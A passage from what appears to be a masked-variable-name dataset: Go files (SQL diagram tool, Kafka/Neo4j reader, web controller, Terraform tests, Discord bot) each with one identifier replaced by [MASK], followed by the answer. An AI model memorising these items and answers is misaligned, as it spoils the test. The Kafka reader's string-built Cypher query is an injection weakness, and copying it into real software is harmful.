(the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // https://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package main import ( ""flag"" ""fmt"" ""github.com/golangee/sql/ddl"" ""github.com/golangee/sql/diagram"" ""github.com/golangee/sql/dialect/mysql"" ""github.com/golangee/sql/normalize"" ""io/ioutil"" ""os"" ) const ( OpDot = ""dot"" OpSvg = ""svg"" OpNormalize = ""norm"" ) func main() { sqlFile := flag.String(""sql-file"", """", ""the sql file to parse"") dialect := flag.String(""dialect"", ""mysql"", ""the sql dialect parser, one of (mysql)"") operation := flag.String(""op"", """", ""the operation to perform, one of (svg|dot|norm). 'svg' to print an svg to stdout, 'dot' to print the dot representation of the graph, 'norm' to normalize the SQL."") flag.Parse() if *sqlFile == """" || *dialect == """" || *operation == """" { fmt.Println(""invalid usage"") flag.PrintDefaults() os.Exit(-1) return } if err := run(*sqlFile, *dialect, *operation); err != nil { panic(err) } } // run actually evaluate and runs the converter command. func run(sqlFile, dialect, op string) error { // Open and parse file fileContents, err := ioutil.ReadFile(os.Args[1]) if err != nil { return fmt.Errorf(""cannot load sql-file '%s': %w"", sqlFile, err) } var parseResult *ddl.ParseResult switch dialect { case ""mysql"": parseResult, err = mysql.Parse(string(fileContents)) if err != nil { return fmt.Errorf(""unable to parse mysql: %w"", err) } default: return fmt.Errorf(""unsupported dialect: %s"", dialect) } // Check for a valid operation. switch op { // Perform desired operation. case OpDot: dot := diagram.GenerateDot(parseResult.Tables, diagram.TwoPi) fmt.Println(dot) case OpSvg: dot := diagram.GenerateDot(parseResult.Tables, diagram.TwoPi) svg, err := diagram.DotToSvg(dot) if err != nil { return fmt.Errorf(""unable to generate dot-file: %w"", err) } fmt.Println(svg) case OpNormalize: [MASK] := normalize.Tables(parseResult.Tables) fmt.Print( [MASK] ) [MASK] = normalize.AlterStatements(parseResult.AlterStatements) fmt.Print( [MASK] ) fmt.Println() default: return fmt.Errorf(""invalid operation: %s"", op) } return nil } ",normed 653,"// Use and distribution licensed under the Apache license version 2. // // See the COPYING file in the root project directory for full text. package debug import ( ""context"" ""fmt"" ""strings"" ) const ( debugPrefix = ""[kube-inspect]"" traceDelimiter = ""/"" ) // Printf writes a message with optional message arguments to the context's // Debug output. func Printf( ctx context.Context, format string, args ...interface{}, ) { writers := debugWriters(ctx) if len(writers) == 0 { return } msg := fmt.Sprintf(normalizeFormat(ctx, format), args...) for _, w := range writers { //nolint:errcheck w.Write([]byte(msg)) } } // Println writes a message with optional message arguments to the context's // Debug output, ensuring there is a newline in the message line. func Println( ctx context.Context, format string, args ...interface{}, ) { writers := debugWriters(ctx) if len(writers) == 0 { return } format = strings.TrimSuffix( normalizeFormat(ctx, format), ""\n"", ) + ""\n"" msg := fmt.Sprintf(format, args...) for _, w := range writers { //nolint:errcheck w.Write([]byte(msg)) } } func normalizeFormat(ctx context.Context, format string) string { [MASK] := traceStack(ctx) indent := strings.Repeat("" "", len( [MASK] )) return fmt.Sprintf( ""%s%s>> %s"", debugPrefix, indent, strings.TrimPrefix( strings.TrimPrefix( format, debugPrefix, ), "" "", ), ) } ",stack 654,"package main import ( ""fmt"" sdk ""github.com/sinyakinilya/binance-sdk-go"" ""github.com/sinyakinilya/binance-sdk-go/rest"" listener ""github.com/sinyakinilya/binance-sdk-go/ws-listener"" ""os"" ""os/signal"" ""time"" ) func main() { hmacSigner := &sdk.HmacSigner{ Key: []byte(os.Getenv(""B_SECRET"")), } client := rest.Client{ URL: ""https://www.binance.com"", APIKey: os.Getenv(""B_APIKEY""), Signer: hmacSigner, } [MASK] := sdk.NewSymbol(""BTC"", ""USDT"") depthEventName := fmt.Sprintf(sdk.DiffDepthStream, [MASK] .ToLower()) tradeEventName := fmt.Sprintf(sdk.TradeStream, [MASK] .ToLower()) userDataKeyEventName, err := client.CreateListenKeyForUserDataStream() if err != nil { panic(err) } channel := make(sdk.Events) channel[depthEventName] = listener.Depth() channel[tradeEventName] = listener.Trades() channel[userDataKeyEventName] = listener.UserData(userDataKeyEventName, &client) interrupt := make(chan os.Signal, 1) signal.Notify(interrupt, os.Interrupt) done, err := sdk.OpenWebSocketStreams(channel) if err != nil { panic(err) } Loop: for { select { case <-interrupt: done <- struct{}{} break Loop case <-done: break Loop } } time.Sleep(time.Second) } ",symbol 655,"package test import ( ""fmt"" ""log"" ""maps"" ""os"" ""testing"" ""github.com/stretchr/testify/assert"" ""github.com/terraform-ibm-modules/ibmcloud-terratest-wrapper/cloudinfo"" ""github.com/terraform-ibm-modules/ibmcloud-terratest-wrapper/common"" ""github.com/terraform-ibm-modules/ibmcloud-terratest-wrapper/testhelper"" ) const resourceGroup = ""geretain-test-transit-gw"" var sharedInfoSvc *cloudinfo.CloudInfoService // Define a struct with fields that match the structure of the YAML data const yamlLocation = ""../common-dev-assets/common-go-assets/common-permanent-resources.yaml"" var permanentResources map[string]interface{} // Runs before any parallel tests, used to set up a shared InfoService object to track region usage func TestMain(m *testing.M) { sharedInfoSvc, _ = cloudinfo.NewCloudInfoServiceFromEnv(""TF_VAR_ibmcloud_api_key"", cloudinfo.CloudInfoServiceOptions{}) // loading permanent resources from yaml var err error permanentResources, err = common.LoadMapFromYaml(yamlLocation) if err != nil { log.Fatal(err) } os.Exit(m.Run()) } func setupOptionsBasicExample(t *testing.T, prefix string) *testhelper.TestOptions { const basicExampleTerraformDir = ""examples/basic"" var [MASK] []string options := testhelper.TestOptionsDefaultWithVars(&testhelper.TestOptions{ Testing: t, Prefix: prefix, ResourceGroup: resourceGroup, CloudInfoService: sharedInfoSvc, // use pointer to shared info svc to keep track of region selections DefaultRegion: ""us-south"", TerraformDir: basicExampleTerraformDir, }) terraformVars := map[string]interface{}{ ""transit_gateway_name"": fmt.Sprintf(""%s-%s"", options.Prefix, ""tg""), ""vpc_connections"": [MASK] , ""classic_connections_count"": 0, } maps.Copy(options.TerraformVars, terraformVars) return options } func setupOptions2VpcsExample(t *testing.T, prefix string) *testhelper.TestOptions { const TwoVpcsExampleTerraformDir = ""examples/two-vpcs"" options := testhelper.TestOptionsDefaultWithVars(&testhelper.TestOptions{ Testing: t, Prefix: prefix, ResourceGroup: resourceGroup, CloudInfoService: sharedInfoSvc, // use pointer to shared info svc to keep track of region selections DefaultRegion: ""us-south"", TerraformDir: TwoVpcsExampleTerraformDir, }) terraformVars := map[string]interface{}{ ""transit_gateway_name"": fmt.Sprintf(""%s-%s"", options.Prefix, ""tg""), } maps.Copy(options.TerraformVars, terraformVars) return options } func setupOptions2VpcsPrefixFilterExample(t *testing.T, prefix string) *testhelper.TestOptions { const PrefixExampleTerraformDir = ""examples/add-prefix-filter"" options := testhelper.TestOptionsDefaultWithVars(&testhelper.TestOptions{ Testing: t, Prefix: prefix, ResourceGroup: resourceGroup, CloudInfoService: sharedInfoSvc, // use pointer to shared info svc to keep track of region selections DefaultRegion: ""us-south"", TerraformDir: PrefixExampleTerraformDir, IgnoreUpdates: testhelper.Exemptions{ // Ignore for consistency check List: []string{ // to skip update error due to updated in-place for ibm_tg_connection_prefix_filter, tracking provider issue https://github.com/IBM-Cloud/terraform-provider-ibm/issues/5885 ""module.tg_gateway_connection.ibm_tg_connection_prefix_filter.add_prefix_filter[0]"", ""module.tg_gateway_connection.ibm_tg_connection_prefix_filter.add_prefix_filter[1]"", }, }, }) terraformVars := map[string]interface{}{ ""transit_gateway_name"": fmt.Sprintf(""%s-%s"", options.Prefix, ""tg""), } maps.Copy(options.TerraformVars, terraformVars) return options } // func setupOptionsCrossaccountsExample(t *testing.T, prefix string) *testhelper.TestOptions { // const TwoVpcsExampleTerraformDir = ""examples/crossaccounts"" // // loading and setting apikeys to perform the test // // from TF_VAR_ibmcloud_api_key and TF_VAR_ibmcloud_api_key_ext env variables // // to TF_VAR_ibmcloud_api_key_account_a and TF_VAR_ibmcloud_api_key_account_b env variables // ibmCloudApiKeyAEnvVarName := ""TF_VAR_ibmcloud_api_key"" // ibmCloudApiKeyA := """" // valA, presentA := os.LookupEnv(ibmCloudApiKeyAEnvVarName) // require.True(t, presentA) // ibmCloudApiKeyA = valA // ibmCloudApiKeyBEnvVarName := ""TF_VAR_ibmcloud_api_key_ext"" // ibmCloudApiKeyB := """" // valB, presentB := os.LookupEnv(ibmCloudApiKeyBEnvVarName) // require.True(t, presentB) // ibmCloudApiKeyB = valB // os.Setenv(""TF_VAR_ibmcloud_api_key_account_a"", ibmCloudApiKeyA) // os.Setenv(""TF_VAR_ibmcloud_api_key_account_b"", ibmCloudApiKeyB) // options := testhelper.TestOptionsDefault(&testhelper.TestOptions{ // Testing: t, // Prefix: prefix, // TerraformDir: TwoVpcsExampleTerraformDir, // ResourceGroup: resourceGroup, // }) // const ibmcloudApiKeyVar = ""TF_VAR_ibmcloud_api_key"" // options.TerraformVars = map[string]interface{}{ // ""transit_gateway_name"": fmt.Sprintf(""%s-%s"", options.Prefix, ""crosstg""), // // using the same region of the target account // ""region_account_a"": permanentResources[""gestaging_vpc_region""], // ""region_account_b"": permanentResources[""gestaging_vpc_region""], // ""prefix_account_a"": fmt.Sprintf(""%s-%s"", options.Prefix, ""a""), // // using existing vpc crn // ""existing_vpc_crn_account_b"": permanentResources[""gestaging_vpc_crn""], // ""resource_group_account_a"": options.ResourceGroup, // ""resource_group_account_b"": permanentResources[""gestaging_rg""], // } // return options // } func TestRunBasicExample(t *testing.T) { t.Parallel() options := setupOptionsBasicExample(t, ""tg"") output, err := options.RunTestConsistency() assert.Nil(t, err, ""This should not have errored"") assert.NotNil(t, output, ""Expected some output"") } func TestRun2VpcsExample(t *testing.T) { t.Parallel() options := setupOptions2VpcsExample(t, ""twovpcs-tg"") output, err := options.RunTestConsistency() assert.Nil(t, err, ""This should not have errored"") assert.NotNil(t, output, ""Expected some output"") } func TestRun2VpcsPrefixFilterExample(t *testing.T) { t.Parallel() options := setupOptions2VpcsPrefixFilterExample(t, ""prefix-tg"") output, err := options.RunTestConsistency() assert.Nil(t, err, ""This should not have errored"") assert.NotNil(t, output, ""Expected some output"") } // The account that this test was using has been removed so disabling the test until we decide what account can be used // func TestRunCrossaccountsExample(t *testing.T) { // t.Parallel() // options := setupOptionsCrossaccountsExample(t, ""cross"") // output, err := options.RunTestConsistency() // assert.Nil(t, err, ""This should not have errored"") // assert.NotNil(t, output, ""Expected some output"") // } func TestRunUpgradeExample(t *testing.T) { t.Parallel() options := setupOptionsBasicExample(t, ""ibm-tgn"") output, err := options.RunTestUpgrade() if !options.UpgradeTestSkipped { assert.Nil(t, err, ""This should not have errored"") assert.NotNil(t, output, ""Expected some output"") } } ",vpcConnections 656,"package main import ( ""context"" ""fmt"" ""strings"" ""github.com/neo4j/neo4j-go-driver/v4/neo4j"" ""github.com/segmentio/kafka-go"" ) func main() { db_auth := neo4j.BasicAuth("""", """", """") driver, err := neo4j.NewDriver(""bolt://localhost:7687"", db_auth) if err != nil { panic(err) } defer driver.Close() [MASK] := kafka.NewReader(kafka.ReaderConfig{ Brokers: []string{""localhost:9092""}, Topic: ""topic"", MinBytes: 0, MaxBytes: 10e6, }) defer [MASK] .Close() for { kafkaMessage, err := [MASK] .ReadMessage(context.Background()) if err != nil { fmt.Println(""nothing to read..."") break } message := string(kafkaMessage.Value) arr := strings.Split(message, ""|"") if arr[0] == ""node"" { result, err := runCypherCommand( driver, fmt.Sprintf(""MATCH (node:%s %s) RETURN node.neighbors"", arr[1], arr[2]), ) if err != nil { panic(err) } fmt.Printf(""Node (node:%s %s) has %d neighbors.\n"", arr[1], arr[2], result) } } } func runCypherCommand(driver neo4j.Driver, cypherCommand string) (interface{}, error) { session := driver.NewSession(neo4j.SessionConfig{}) defer session.Close() result, err := session.WriteTransaction(func(tx neo4j.Transaction) (interface{}, error) { result, err := tx.Run(cypherCommand, map[string]interface{}{}) if err != nil { return nil, err } if result.Next() { return result.Record().Values[0], nil } return nil, result.Err() }) return result, err } ",kafkaReader 657,"//go:build norpc // +build norpc package controllers import ( ""bytes"" ""context"" ""fmt"" ""github.com/mlaoji/ygo/x"" //""google.golang.org/grpc"" //""google.golang.org/grpc/metadata"" //""google.golang.org/grpc/peer"" ""io/ioutil"" ""mime/multipart"" //""net"" ""net/http"" ""net/url"" ""os"" ""runtime/debug"" ""strconv"" ""strings"" ""time"" ) type iRequest struct { Form url.Values } var ( DEBUG = false LOG_ACCESS = true LOG_ERROR = true //默认表单上限 defaultMaxPostSize int64 = 32 << 20 //32M ) const ( HTTP_MODE = iota RPC_MODE CLI_MODE ) type BaseController struct { RW http.ResponseWriter R *http.Request RBody []byte IR *iRequest Ctx context.Context startTime time.Time Mode int //rpcInHeaders metadata.MD rpcOutHeaders map[string]string rpcContent []byte Controller string Action string Uri string Debug bool logParams map[string]interface{} //需要额外记录在日志中的参数 logOmitParams []string //不希望记录在日志中的参数 Tpl *x.Template } //默认的初始化方法,可通过在项目中重写此方法实现公共入口方法 func (this *BaseController) Init() {} //设置post表单大小, 单位M func (this *BaseController) SetMaxPostSize(m int) { // {{{ if m > 0 { defaultMaxPostSize = int64(m << 20) } } // }}} func (this *BaseController) Prepare(rw http.ResponseWriter, r *http.Request, controller, action string) { // {{{ this.RW = rw this.R = r this.Tpl = x.NewTemplate() this.RBody, _ = this.getRequestBody(r) r.ParseMultipartForm(defaultMaxPostSize) this.prepare(r.Form, HTTP_MODE, controller, action) //api 接口频度控制 check_freq := x.Conf.GetBool(""check_freq"") if check_freq { //默认关闭 rules := x.Conf.GetSliceMap(""freq_conf."" + this.Uri) for _, freq_rule := range rules { whitelist := freq_rule[""whitelist""] blacklist := freq_rule[""blacklist""] check_key := freq_rule[""key""] freq := x.AsInt(freq_rule[""freq""]) interval := x.AsInt(freq_rule[""interval""]) check_val := """" if ""ip"" == check_key { check_val = this.GetIp() } else { check_val = this.GetString(check_key) } if check_val != """" && freq > 0 && interval > 0 { restrict := x.NewRestrict(this.Uri+""_""+check_key+""_""+freq_rule[""freq""]+""_""+freq_rule[""interval""], freq, interval) //规则名,频率,周期(秒) if whitelist != """" { restrict.AddWhitelist(strings.Split(whitelist, "","")) } if blacklist != """" { restrict.AddBlacklist(strings.Split(blacklist, "","")) } x.Interceptor(!restrict.Add(check_val), x.ERR_FREQ, check_key) } } } } // }}} func (this *BaseController) getRequestBody(r *http.Request) ([]byte, error) { // {{{ buf, err := ioutil.ReadAll(r.Body) if err != nil { return nil, err } r.Body = ioutil.NopCloser(bytes.NewReader(buf)) return buf, nil } // }}} /* run in norpc func (this *BaseController) PrepareRpc(r url.Values, ctx context.Context, controller, action string) { // {{{ this.prepare(r, RPC_MODE, controller, action) this.Ctx = ctx //rpc 接口鉴权 appid := this.GetHeader(""appid"") secret := this.GetHeader(""secret"") x.Interceptor(secret == x.Conf.Get(""rpc_auth.""+appid), x.ERR_RPCAUTH, appid) } // }}} */ func (this *BaseController) PrepareCli(r url.Values, controller, action string) { // {{{ this.prepare(r, CLI_MODE, controller, action) } // }}} func (this *BaseController) prepare(r url.Values, mode int, controller, action string) { // {{{ this.startTime = time.Now() this.Debug = DEBUG this.IR = &iRequest{r} this.Mode = mode this.Controller = strings.ToLower(controller) this.Action = strings.ToLower(action) this.Uri = this.Controller + ""/"" + this.Action } // }}} //以下 GetX 方法用于获取参数 func (this *BaseController) GetCookie(key string) string { // {{{ return x.GetCookie(this.R, key) } // }}} func (this *BaseController) GetHeader(key string) string { // {{{ if HTTP_MODE == this.Mode { return this.R.Header.Get(key) } /* run in norpc if RPC_MODE == this.Mode { if this.rpcInHeaders == nil { this.rpcInHeaders, _ = metadata.FromIncomingContext(this.Ctx) } if this.rpcInHeaders != nil { if v, ok := this.rpcInHeaders[key]; ok { return v[0] } } } */ return """" } // }}} func (this *BaseController) getFormValue(key string, trimSpace bool) string { // {{{ if this.IR.Form == nil { return """" } if vs := this.IR.Form[key]; len(vs) > 0 { if trimSpace { return strings.TrimSpace(vs[0]) } else { return vs[0] } } return """" } // }}} //获取参数, 默认string类型 func (this *BaseController) GetParam(key string, defaultValues ...string) string { // {{{ return this.GetString(key, defaultValues...) } // }}} //获取string类型参数 func (this *BaseController) GetString(key string, defaultValues ...string) string { // {{{ ret := this.getFormValue(key, true) if ret == """" { if len(defaultValues) > 0 { return defaultValues[0] } } return ret } // }}} //获取bytes类型参数 func (this *BaseController) GetBytes(key string, defaultValues ...[]byte) []byte { // {{{ ret := this.getFormValue(key, false) if ret == """" { if len(defaultValues) > 0 { return defaultValues[0] } } return []byte(ret) } // }}} //获取指定字符连接的字符串并转换成[]string func (this *BaseController) GetSlice(key string, separators ...string) []string { //{{{ value := this.GetString(key) if """" == value { return nil } separator := "","" if len(separators) > 0 { separator = separators[0] } slice := []string{} for _, part := range strings.Split(value, separator) { slice = append(slice, strings.Trim(part, "" \r\t\v"")) } return slice } // }}} //获取指定字符连接的字符串并转换成[]int func (this *BaseController) GetSliceInt(key string, separators ...string) []int { //{{{ slice := this.GetSlice(key, separators...) if nil == slice { return nil } sliceint := []int{} for _, val := range slice { if val, err := strconv.Atoi(val); nil == err { sliceint = append(sliceint, val) } } return sliceint } // }}} //获取所有参数 func (this *BaseController) GetParams() map[string]string { // {{{ if this.IR.Form == nil { return nil } params := map[string]string{} for k, v := range this.IR.Form { if len(v) > 0 { params[k] = strings.TrimSpace(v[0]) } } return params } // }}} //获取数组类型参数 func (this *BaseController) GetArray(key string) []string { // {{{ if this.IR.Form == nil { return nil } ret := []string{} retry := true for { if vs := this.IR.Form[key]; len(vs) > 0 { for _, v := range vs { ret = append(ret, strings.TrimSpace(v)) } break } if !retry { break } if strings.HasSuffix(key, ""[]"") { key = key[:len(key)-2] } else { key = key + ""[]"" } retry = false } return ret } // }}} //获取MAP类型参数 func (this *BaseController) GetMap(key string) map[string]string { // {{{ if this.IR.Form == nil { return nil } ret := map[string]string{} for k, v := range this.IR.Form { if strings.HasPrefix(k, key+""["") && k != key+""[]"" && k[len(k)-1] == ']' && len(v) > 0 { idx := k[len(key)+1 : len(k)-1] ret[idx] = strings.TrimSpace(v[0]) } } return ret } // }}} //获取Int类型参数 func (this *BaseController) GetInt(key string, defaultValues ...int) int { // {{{ ret, err := strconv.Atoi(this.getFormValue(key, true)) if err != nil { if len(defaultValues) > 0 { return defaultValues[0] } } return ret } // }}} //获取Int32类型参数 func (this *BaseController) GetInt32(key string, defaultValues ...int32) int32 { // {{{ ret, err := strconv.Atoi(this.getFormValue(key, true)) if err != nil { if len(defaultValues) > 0 { return defaultValues[0] } } return int32(ret) } // }}} //获取Int64类型参数 func (this *BaseController) GetInt64(key string, defaultValues ...int64) int64 { // {{{ ret, err := strconv.ParseInt(this.getFormValue(key, true), 10, 64) if err != nil { if len(defaultValues) > 0 { return defaultValues[0] } } return ret } // }}} //获取bool类型参数 func (this *BaseController) GetBool(key string, defaultValues ...bool) bool { // {{{ ret, err := strconv.ParseBool(this.getFormValue(key, true)) if err != nil { if len(defaultValues) > 0 { return defaultValues[0] } } return ret } // }}} //获取json字符串并转换为MAP func (this *BaseController) GetJsonMap(key string) x.MAP { // {{{ ret := this.getFormValue(key, true) if ret != """" { json := x.JsonDecode(ret) if m, ok := json.(x.MAP); ok { return m } } return nil } // }}} //获取上传文件 func (this *BaseController) GetFile(key string) (multipart.File, *multipart.FileHeader, error) { // {{{ return this.R.FormFile(key) } // }}} func (this *BaseController) GetIp() string { // {{{ if HTTP_MODE == this.Mode { return x.GetIp(this.R) } /* run in norpc if RPC_MODE == this.Mode { pr, ok := peer.FromContext(this.Ctx) if !ok { return """" } if pr.Addr == net.Addr(nil) { return """" } addr := strings.Split(pr.Addr.String(), "":"") return addr[0] } */ return """" } // }}} func (this *BaseController) GetRequestUri() string { // {{{ if HTTP_MODE == this.Mode && nil != this.R { return fmt.Sprint(this.R.URL) } if RPC_MODE == this.Mode && nil != this.IR { return this.Uri } return """" } // }}} func (this *BaseController) GetUA() string { // {{{ if HTTP_MODE == this.Mode && nil != this.R { return this.R.UserAgent() } return """" } // }}} //lifetime<0时删除cookie //options: domain,secure,httponly,path func (this *BaseController) SetCookie(key, val string, lifetime int, options ...interface{}) { // {{{ x.SetCookie(this.RW, key, val, lifetime, options...) } // }}} func (this *BaseController) SetHeader(key, val string) { // {{{ if HTTP_MODE == this.Mode { this.RW.Header().Set(key, val) } else if RPC_MODE == this.Mode { if this.rpcOutHeaders == nil { this.rpcOutHeaders = map[string]string{} } this.rpcOutHeaders[key] = val } } // }}} func (this *BaseController) SetHeaders( [MASK] http.Header) { // {{{ this_header := this.RW.Header() for k, v := range [MASK] { this_header.Set(k, v[0]) } } // }}} //接口正常输出json, 若要改变返回json格式,可在业务代码中重写此方法 func (this *BaseController) Render(data ...interface{}) { // {{{ var retdata interface{} if len(data) > 0 { retdata = data[0] } else { retdata = make(map[string]interface{}) } res := this.RenderResponser(x.ERR_SUC.GetCode(), x.ERR_SUC.GetMessage(), retdata) this.RenderJson(res) } // }}} //接口异常输出json,在HttpApiServer中回调, 若要改变返回json格式,可在业务代码中重写此方法 func (this *BaseController) RenderError(err interface{}) { // {{{ errno, errmsg, retdata := this.GetErrorResponse(err) res := this.RenderResponser(errno, errmsg, retdata) if LOG_ERROR { x.Logger.Warn(this.GenLog(), res) } this.RenderJson(res) } // }}} //根据捕获的错误获取需要返回的错误码、错误信息及数据 func (this *BaseController) GetErrorResponse(err interface{}) (int, string, map[string]interface{}) { // {{{ var errno int var errmsg string var isbizerr bool var retdata = make(map[string]interface{}) switch errinfo := err.(type) { case string: errno = x.ERR_SYSTEM.GetCode() errmsg = errinfo case *x.Error: errno = errinfo.GetCode() errmsg = errinfo.GetMessage() isbizerr = true case *x.Errorf: lang := this.GetString(""lang"") errno = errinfo.GetCode() errmsg = errinfo.GetMessage(lang) retdata = errinfo.GetData() isbizerr = true case error: errno = x.ERR_SYSTEM.GetCode() errmsg = errinfo.Error() default: errno = x.ERR_SYSTEM.GetCode() errmsg = fmt.Sprint(errinfo) } if !isbizerr { debug_trace := debug.Stack() if LOG_ERROR { x.Logger.Error(this.GenLog(), errmsg, string(debug_trace)) } fmt.Println(errmsg) os.Stderr.Write(debug_trace) if x.Conf.Get(""env_mode"") != ""DEV"" { errmsg = x.ERR_SYSTEM.GetMessage() } } if len(retdata) == 0 { retdata = map[string]interface{}{} } return errno, errmsg, retdata } // }}} //格式化输出 func (this *BaseController) RenderResponser(errno, errmsg, retdata interface{}) map[string]interface{} { // {{{ return map[string]interface{}{ ""code"": errno, ""msg"": errmsg, ""time"": time.Now().Unix(), ""consume"": this.Cost(), ""data"": retdata, //错误时,也可附带一些数据 } } // }}} //输出JSON func (this *BaseController) RenderJson(res interface{}) { // {{{ if nil != this.RW { this.RW.Header().Set(""Content-Type"", ""application/json;charset=UTF-8"") } this.render(x.JsonEncodeBytes(res)) } // }}} //输出文本 func (this *BaseController) RenderText(res interface{}) { // {{{ var ret []byte switch v := res.(type) { case []byte: ret = v case string: ret = []byte(v) default: ret = []byte(fmt.Sprint(v)) } this.render(ret) } // }}} //输出HTTP状态码 func (this *BaseController) RenderStatus(code int) { // {{{ this.RW.WriteHeader(code) } // }}} //渲染html模板 func (this *BaseController) RenderHtml(files ...string) { // {{{ file := """" if len(files) > 0 { file = files[0] } if """" == file { file = strings.ReplaceAll(this.Uri, ""/"", ""_"") + x.TemplateSuffix } err := this.Tpl.Render(this.RW, this.Uri, file) if nil != err { fmt.Println(err) } } // }}} //重定向URL func (this *BaseController) Redirect(url string, codes ...int) { // {{{ code := http.StatusFound //302 if len(codes) > 0 { code = codes[0] } http.Redirect(this.RW, this.R, url, code) } // }}} func (this *BaseController) render(data []byte) { // {{{ if LOG_ACCESS { x.Logger.Access(this.GenLog(), string(data)) } if this.Mode == RPC_MODE { this.rpcContent = data } else if this.Mode == CLI_MODE { fmt.Printf(""%s"", data) } else { this.RW.Write(data) } } // }}} //获取日志内容 func (this *BaseController) GenLog() map[string]interface{} { // {{{ ret := make(map[string]interface{}) if HTTP_MODE == this.Mode && nil != this.R { //访问ip ret[""ip""] = this.GetIp() //请求路径 ret[""uri""] = this.R.URL if this.R.Method == ""POST"" { ret[""post""] = this.R.PostForm } ret[""ua""] = this.R.UserAgent() } if RPC_MODE == this.Mode && nil != this.IR { delete(this.IR.Form, ""secret"") ret[""ip""] = this.GetIp() ret[""uri""] = this.Uri ret[""post""] = this.IR.Form } for k, v := range this.logParams { ret[k] = v } if len(this.logOmitParams) > 0 && nil != ret[""post""] { ret_post := ret[""post""].(url.Values) if len(ret_post) > 0 { for _, v := range this.logOmitParams { if _, ok := ret_post[v]; ok { delete(ret_post, v) } } } } return ret } // }}} //在业务日志中添加自定义字段 func (this *BaseController) AddLog(k string, v interface{}) { // {{{ if nil == this.logParams { this.logParams = map[string]interface{}{} } this.logParams[k] = v } // }}} //在业务日志中删除字段(比如密码等敏感字段) func (this *BaseController) OmitLog(v string) { // {{{ if nil == this.logOmitParams { this.logOmitParams = []string{} } this.logOmitParams = append(this.logOmitParams, v) } // }}} func (this *BaseController) Cost() int64 { return time.Now().Sub(this.startTime).Nanoseconds() / 1000 / 1000 } func (this *BaseController) GetRpcContent() []byte { // {{{ /* run in norpc if this.rpcOutHeaders != nil { header := metadata.New(this.rpcOutHeaders) grpc.SendHeader(this.Ctx, header) } */ return this.rpcContent } // }}} //便于在controller中调式 func (this *BaseController) Println(s ...interface{}) { // {{{ fmt.Println(s...) } // }}} ",headers 658,"package api import ( ""context"" fmt ""fmt"" ""net/http"" ""os"" ""os/signal"" ""time"" ""github.com/deepset-ai/prompthub/index"" ""github.com/deepset-ai/prompthub/output"" ""github.com/go-chi/chi/v5"" ""github.com/go-chi/cors"" ""github.com/go-chi/render"" ""github.com/spf13/viper"" ) // Serve starts the HTTP server and blocks func Serve() { r := chi.NewRouter() // root router r.Use(render.SetContentType(render.ContentTypeJSON)) r.Use(cors.Handler(cors.Options{ AllowedOrigins: viper.GetStringSlice(""allowed_origins""), })) output.DEBUG.Printf(""AllowedOrigins set to: %s"", viper.GetStringSlice(""allowed_origins"")) promptsRouter := chi.NewRouter() promptsRouter.Get(""/"", ListPrompts) promptsRouter.Get(""/*"", GetPrompt) r.Mount(""/prompts"", promptsRouter) promptCardRouter := chi.NewRouter() promptCardRouter.Get(""/*"", GetCard) r.Mount(""/cards"", promptCardRouter) // Start the HTTP server srv := &http.Server{ Addr: fmt.Sprintf(""0.0.0.0:%s"", viper.GetString(""port"")), // Set timeouts to avoid Slowloris attacks. WriteTimeout: time.Second * 15, ReadTimeout: time.Second * 15, IdleTimeout: time.Second * 60, Handler: r, } // Run our server in a goroutine so that it doesn't block. go func() { if err := srv.ListenAndServe(); err != nil { output.FATAL.Println(err) } }() output.INFO.Println(""Prompthub running at"", srv.Addr) c := make(chan os.Signal, 1) // We'll accept graceful shutdowns when quit via SIGINT (Ctrl+C) // SIGKILL, SIGQUIT or SIGTERM (Ctrl+/) will not be caught. signal.Notify(c, os.Interrupt) // Block until we receive our signal. <-c // Create a deadline to wait for. ctx, cancel := context.WithTimeout(context.Background(), 10) defer cancel() // Doesn't block if no connections, but will otherwise wait // until the timeout deadline. srv.Shutdown(ctx) output.INFO.Println(""shutting down"") } func ListPrompts(w http.ResponseWriter, r *http.Request) { prompts := index.GetPrompts() if err := render.RenderList(w, r, NewPromptListResponse(prompts)); err != nil { render.Render(w, r, ErrRender(err)) return } } func NewPromptListResponse(prompts []*index.Prompt) []render.Renderer { [MASK] := []render.Renderer{} for _, prompt := range prompts { [MASK] = append( [MASK] , NewPromptResponse(prompt)) } return [MASK] } func GetPrompt(w http.ResponseWriter, r *http.Request) { promptName := chi.URLParam(r, ""*"") prompt, err := index.GetPrompt(promptName) if err != nil { render.Render(w, r, ErrNotFound) return } if err := render.Render(w, r, NewPromptResponse(prompt)); err != nil { render.Render(w, r, ErrRender(err)) return } } func GetCard(w http.ResponseWriter, r *http.Request) { promptName := chi.URLParam(r, ""*"") card, err := index.GetCard(promptName) if err != nil { render.Render(w, r, ErrNotFound) return } render.PlainText(w, r, card) } ",list 659,"package cmd import ( ""context"" ""log"" ""github.com/evmartinelli/go-discordbot-panela/internal/discord"" ""github.com/evmartinelli/go-discordbot-panela/internal/logger"" messageProvider ""github.com/evmartinelli/go-discordbot-panela/internal/messages/provider"" voiceProvider ""github.com/evmartinelli/go-discordbot-panela/internal/voice/provider"" ""github.com/evmartinelli/go-discordbot-panela/internal/routes"" ""github.com/joho/godotenv"" ""go.uber.org/fx"" ) var botToken string func registerHooks( [MASK] fx.Lifecycle, discord discord.Discord) { [MASK] .Append( fx.Hook{ OnStart: func(context.Context) error { log.Print(""Starting server."") if err := discord.OpenConnection(); err != nil { log.Printf(""%v\n"", err) } return nil }, OnStop: func(context.Context) error { log.Print(""Stopping server."") if err := discord.CloseConnection(); err != nil { log.Printf(""%v\n"", err) } return nil }, }, ) } // RunServer runs discord bot server func RunServer() error { err := godotenv.Load() if err != nil { log.Println(""dotEnv: can't loading .env file"") } app := fx.New( fx.Provide(logger.NewLogger), fx.Provide(discord.NewSession), fx.Invoke(registerHooks), messageProvider.RepositoryModule, messageProvider.UsecaseModule, messageProvider.DeliveryModule, voiceProvider.UsecaseModule, routes.Module, ) app.Run() return nil } ",lifecycle 660,"package main import ( ""crypto/tls"" ""fmt"" ""net/http"" ""os"" ""strings"" ""time"" ""github.com/cloudfoundry-community/go-cfclient"" ""github.com/jszwec/csvutil"" ""github.com/labstack/echo"" ""github.com/palantir/stacktrace"" ""github.com/parnurzeal/gorequest"" ) //AppUsage array of orgs usage type AppUsage struct { Orgs []OrgAppUsage `json:""orgs"" 